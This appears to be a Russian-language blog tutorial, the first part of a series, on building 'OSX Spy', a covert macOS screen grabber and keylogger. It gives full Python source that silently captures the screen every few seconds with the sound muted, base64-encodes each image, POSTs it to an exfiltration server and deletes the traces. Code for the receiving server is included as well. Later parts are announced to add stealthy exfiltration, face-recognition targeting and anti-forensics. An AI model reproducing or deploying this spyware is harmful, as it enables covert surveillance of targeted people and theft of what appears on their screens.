Меня вдохновил этот пост https://hackernoon.com/writing-an-keylogger-for-macos-in-python-24adfa22722, но, как всегда, я подумал, что это круто, но вы знаете, мы можем сделать гораздо больше . Итак, давай займемся этим.
В трех частях мы будем создавать доказательство концепции OSX Spy, это будет скринграббер OSX и кейлоггер со скрытыми методами эксфильтрации, чтобы завершить его, он будет использовать распознавание лиц для обнаружения цели и активировать методы наблюдения только в том случае, если мы знайте, что это цель, которую мы хотим отслеживать.
План:
- Подтверждение концепции кода Python для OSXSpy
- Написание кода снимка экрана с явным изъятием
- Интегрируйте код кейлоггера из https://hackernoon.com/writing-an-keylogger-for-macos-in-python-24adfa22722
- Интегрируйте распознавание лиц для обнаружения цели и активации методов наблюдения и измените метод эксфильтрации на скрытый
Если нас устраивает доказательство концепции, мы можем переписать его на GoLang, чтобы легко скомпилировать кроссплатформенные двоичные файлы, которые по-прежнему хороши для незаметности в ванильном формате.
Скринграббер
Давайте сделаем снимок экрана, мы просто сделаем системный вызов встроенной функции снимка экрана, мы передадим -x, чтобы отключить звук снимка экрана ...
def capture_screen(i): try: # -x option to mute the screenshot-taking sound system("screencapture -x /tmp/s{}.png".format(i)) except: pass
Затем мы хотим его эксфильтровать, здесь мы просто конвертируем изображение в base64 и отправляем данные на наш сервер эксфильтрации ...
def exfil_image(i): with open("/tmp/s{}.png".format(i), "rb") as image_file: try: encoded_string = base64.b64encode(image_file.read()) #params = urllib.urlencode({'image': encoded_string, 'id': '01'}) headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} conn = httplib.HTTPConnection("localhost:8000") conn.request("POST", "", encoded_string, headers) response = conn.getresponse() print response.status, response.reason data = response.read() conn.close() except: pass
Наконец, мы хотим удалить изображение и очистить его, просто еще один системный вызов ...
def remove_image(i): try: system("rm /tmp/s{}.png".format(i)) except: pass
В реальном сценарии мы бы не хотели даже записывать образ на диск для начала, лучше для Anti-DFIR. Мы исправим это позже в этой серии, а пока мы хотим, чтобы это было просто.
Вот весь код и необходимый вам импорт ...
osxspy.py
import time import sys import itertools from os import system import base64 import httplib, urllib def exfil_image(i): with open("/tmp/s{}.png".format(i), "rb") as image_file: try: encoded_string = base64.b64encode(image_file.read()) headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} conn = httplib.HTTPConnection("localhost:8000") conn.request("POST", "", encoded_string, headers) response = conn.getresponse() print response.status, response.reason data = response.read() conn.close() except: pass def remove_image(i): try: system("rm /tmp/s{}.png".format(i)) except: pass def capture_screen(i): try: # -x option to mute the screenshot-taking sound system("screencapture -x /tmp/s{}.png".format(i)) except: pass def main(): while True: try: for i in itertools.count(): # -x option to mute the screenshot-taking sound capture_screen(i) exfil_image(i) remove_image(i) time.sleep(3) except KeyboardInterrupt: sys.exit(0) if __name__== "__main__": main()
Сервер Exfil
На данный момент это действительно просто, мы просто захватываем входящие данные, декодируем их URL, декодируем base64 и затем записываем изображение на диск ...
body = self.rfile.read(content_length) data = urllib.unquote(body).decode('utf8') image_file = base64.b64decode(body) with open("/tmp/image.png", 'wb') as f: f.write(image_file)
Вот весь стартовый код для нашего эксфильтрационного сервера ...
exfilserver.py
from http.server import HTTPServer, BaseHTTPRequestHandler from io import BytesIO import base64 import urllib class SimpleHTTPRequestHandler(BaseHTTPRequestHandler): def do_POST(self): content_length = int(self.headers['Content-Length']) body = self.rfile.read(content_length) data = urllib.unquote(body).decode('utf8') image_file = base64.b64decode(body) with open("/tmp/image.png", 'wb') as f: f.write(image_file) self.send_response(200) self.end_headers() httpd = HTTPServer(('localhost', 8000), SimpleHTTPRequestHandler) httpd.serve_forever()
Если вы хотите обслуживать другой порт, 443, просто измените эти две строки в каждом файле ...
osxspy.py
conn = httplib.HTTPConnection("localhost:443")
exfilserver.py
httpd = HTTPServer(('localhost', 443), SimpleHTTPRequestHandler)
В одном терминале запустите его с python ‘osxspy.py’, а в другом ‘python exfilserver.py’.